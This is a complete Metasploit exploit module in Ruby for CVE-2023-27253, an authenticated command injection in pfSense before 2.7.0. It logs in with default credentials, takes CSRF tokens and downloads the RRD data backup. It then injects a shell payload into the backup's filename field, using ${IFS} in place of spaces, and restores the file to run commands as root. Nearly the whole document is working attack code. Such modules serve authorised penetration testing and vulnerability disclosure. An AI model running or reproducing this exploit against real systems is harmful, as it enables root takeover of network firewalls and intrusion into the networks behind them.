<pre><code>class MetasploitModule < Msf::Exploit::Remote<br /> Rank = ExcellentRanking<br /><br /> include Msf::Exploit::Remote::HttpClient<br /> include Msf::Exploit::CmdStager<br /> include Msf::Exploit::FileDropper<br /> prepend Msf::Exploit::Remote::AutoCheck<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'pfSense Restore RRD Data Command Injection',<br /> 'Description' => %q{<br /> This module exploits an authenticated command injection vulnerabilty in the "restore_rrddata()" function of<br /> pfSense prior to version 2.7.0 which allows an authenticated attacker with the "WebCfg - Diagnostics: Backup & Restore"<br /> privilege to execute arbitrary operating system commands as the "root" user.<br /><br /> This module has been tested successfully on version 2.6.0-RELEASE.<br /> },<br /> 'License' => MSF_LICENSE,<br /> 'Author' => [<br /> 'Emir Polat', # vulnerability discovery & metasploit module<br /> ],<br /> 'References' => [<br /> ['CVE', '2023-27253'],<br /> ['URL', 'https://redmine.pfsense.org/issues/13935'],<br /> ['URL', 'https://github.com/pfsense/pfsense/commit/ca80d18493f8f91b21933ebd6b714215ae1e5e94']<br /> ],<br /> 'DisclosureDate' => '2023-03-18',<br /> 'Platform' => ['unix'],<br /> 'Arch' => [ ARCH_CMD ],<br /> 'Privileged' => true,<br /> 'Targets' => [<br /> [ 'Automatic Target', {}]<br /> ],<br /> 'Payload' => {<br /> 'BadChars' => "\x2F\x27",<br /> 'Compat' =><br /> {<br /> 'PayloadType' => 'cmd',<br /> 'RequiredCmd' => 'generic netcat'<br /> }<br /> },<br /> 'DefaultOptions' => {<br /> 'RPORT' => 443,<br /> 'SSL' => true<br /> },<br /> 'DefaultTarget' => 0,<br /> 'Notes' => {<br /> 'Stability' => [CRASH_SAFE],<br /> 'Reliability' => [REPEATABLE_SESSION],<br /> 'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]<br /> }<br /> )<br /> )<br /><br /> register_options [<br /> OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),<br /> OptString.new('PASSWORD', [true, 'Password to authenticate with', 'pfsense'])<br /> ]<br /> end<br /><br /> def check<br /> unless login<br /> return Exploit::CheckCode::Unknown("#{peer} - Could not obtain the login cookies needed to validate the vulnerability!")<br /> end<br /><br /> res = send_request_cgi(<br /> 'uri' => normalize_uri(target_uri.path, 'diag_backup.php'),<br /> 'method' => 'GET',<br /> 'keep_cookies' => true<br /> )<br /><br /> return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?<br /> return Exploit::CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200<br /><br /> unless res&.body&.include?('Diagnostics: ')<br /> return Exploit::CheckCode::Safe('Vulnerable module not reachable')<br /> end<br /><br /> version = detect_version<br /> unless version<br /> return Exploit::CheckCode::Detected('Unable to get the pfSense version')<br /> end<br /><br /> unless Rex::Version.new(version) < Rex::Version.new('2.7.0-RELEASE')<br /> return Exploit::CheckCode::Safe("Patched pfSense version #{version} detected")<br /> end<br /><br /> Exploit::CheckCode::Appears("The target appears to be running pfSense version #{version}, which is unpatched!")<br /> end<br /><br /> def login<br /> # Skip the login process if we are already logged in.<br /> return true if @logged_in<br /><br /> csrf = get_csrf('index.php', 'GET')<br /> unless csrf<br /> print_error('Could not get the expected CSRF token for index.php when attempting login!')<br /> return false<br /> end<br /><br /> res = send_request_cgi(<br /> 'uri' => normalize_uri(target_uri.path, 'index.php'),<br /> 'method' => 'POST',<br /> 'vars_post' => {<br /> '__csrf_magic' => csrf,<br /> 'usernamefld' => datastore['USERNAME'],<br /> 'passwordfld' => datastore['PASSWORD'],<br /> 'login' => ''<br /> },<br /> 'keep_cookies' => true<br /> )<br /><br /> if res && res.code == 302<br /> @logged_in = true<br /> true<br /> else<br /> false<br /> end<br /> end<br /><br /> def detect_version<br /> res = send_request_cgi(<br /> 'uri' => normalize_uri(target_uri.path, 'index.php'),<br /> 'method' => 'GET',<br /> 'keep_cookies' => true<br /> )<br /><br /> # If the response isn't a 200 ok response or is an empty response, just return nil.<br /> unless res && res.code == 200 && res.body<br /> return nil<br /> end<br /><br /> if (%r{Version.+<strong>(?<version>[0-9.]+-RELEASE)\n?</strong>}m =~ res.body).nil?<br /> nil<br /> else<br /> version<br /> end<br /> end<br /><br /> def get_csrf(uri, methods)<br /> res = send_request_cgi(<br /> 'uri' => normalize_uri(target_uri.path, uri),<br /> 'method' => methods,<br /> 'keep_cookies' => true<br /> )<br /><br /> unless res && res.body<br /> return nil # If no response was returned or an empty response was returned, then return nil.<br /> end<br /><br /> # Try regex match the response body and save the match into a variable named csrf.<br /> if (/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body).nil?<br /> return nil # No match could be found, so the variable csrf won't be defined.<br /> else<br /> return csrf<br /> end<br /> end<br /><br /> def drop_config<br /> csrf = get_csrf('diag_backup.php', 'GET')<br /> unless csrf<br /> fail_with(Failure::UnexpectedReply, 'Could not get the expected CSRF token for diag_backup.php when dropping the config!')<br /> end<br /><br /> post_data = Rex::MIME::Message.new<br /><br /> post_data.add_part(csrf, nil, nil, 'form-data; name="__csrf_magic"')<br /> post_data.add_part('rrddata', nil, nil, 'form-data; name="backuparea"')<br /> post_data.add_part('', nil, nil, 'form-data; name="encrypt_password"')<br /> post_data.add_part('', nil, nil, 'form-data; name="encrypt_password_confirm"')<br /> post_data.add_part('Download configuration as XML', nil, nil, 'form-data; name="download"')<br /> post_data.add_part('', nil, nil, 'form-data; name="restorearea"')<br /> post_data.add_part('', 'application/octet-stream', nil, 'form-data; name="conffile"')<br /> post_data.add_part('', nil, nil, 'form-data; name="decrypt_password"')<br /><br /> res = send_request_cgi(<br /> 'uri' => normalize_uri(target_uri.path, 'diag_backup.php'),<br /> 'method' => 'POST',<br /> 'ctype' => "multipart/form-data; boundary=#{post_data.bound}",<br /> 'data' => post_data.to_s,<br /> 'keep_cookies' => true<br /> )<br /><br /> if res && res.code == 200 && res.body =~ /<rrddatafile>/<br /> return res.body<br /> else<br /> return nil<br /> end<br /> end<br /><br /> def exploit<br /> unless login<br /> fail_with(Failure::NoAccess, 'Could not obtain the login cookies!')<br /> end<br /><br /> csrf = get_csrf('diag_backup.php', 'GET')<br /> unless csrf<br /> fail_with(Failure::UnexpectedReply, 'Could not get the expected CSRF token for diag_backup.php when starting exploitation!')<br /> end<br /><br /> config_data = drop_config<br /> if config_data.nil?<br /> fail_with(Failure::UnexpectedReply, 'The drop config response was empty!')<br /> end<br /><br /> if (%r{<filename>(?<file>.*?)</filename>} =~ config_data).nil?<br /> fail_with(Failure::UnexpectedReply, 'Could not get the filename from the drop config response!')<br /> end<br /> config_data.gsub!(' ', '${IFS}')<br /> send_p = config_data.gsub(file, "WAN_DHCP-quality.rrd';#{payload.encoded};")<br /><br /> post_data = Rex::MIME::Message.new<br /><br /> post_data.add_part(csrf, nil, nil, 'form-data; name="__csrf_magic"')<br /> post_data.add_part('rrddata', nil, nil, 'form-data; name="backuparea"')<br /> post_data.add_part('yes', nil, nil, 'form-data; name="donotbackuprrd"')<br /> post_data.add_part('yes', nil, nil, 'form-data; name="backupssh"')<br /> post_data.add_part('', nil, nil, 'form-data; name="encrypt_password"')<br /> post_data.add_part('', nil, nil, 'form-data; name="encrypt_password_confirm"')<br /> post_data.add_part('rrddata', nil, nil, 'form-data; name="restorearea"')<br /> post_data.add_part(send_p.to_s, 'text/xml', nil, "form-data; name=\"conffile\"; filename=\"rrddata-config-pfSense.home.arpa-#{rand_text_alphanumeric(14)}.xml\"")<br /> post_data.add_part('', nil, nil, 'form-data; name="decrypt_password"')<br /> post_data.add_part('Restore Configuration', nil, nil, 'form-data; name="restore"')<br /><br /> res = send_request_cgi(<br /> 'uri' => normalize_uri(target_uri.path, 'diag_backup.php'),<br /> 'method' => 'POST',<br /> 'ctype' => "multipart/form-data; boundary=#{post_data.bound}",<br /> 'data' => post_data.to_s,<br /> 'keep_cookies' => true<br /> )<br /><br /> if res<br /> print_error("The response to a successful exploit attempt should be 'nil'. The target responded with an HTTP response code of #{res.code}. Try rerunning the module.")<br /> end<br /> end<br />end<br /></code></pre>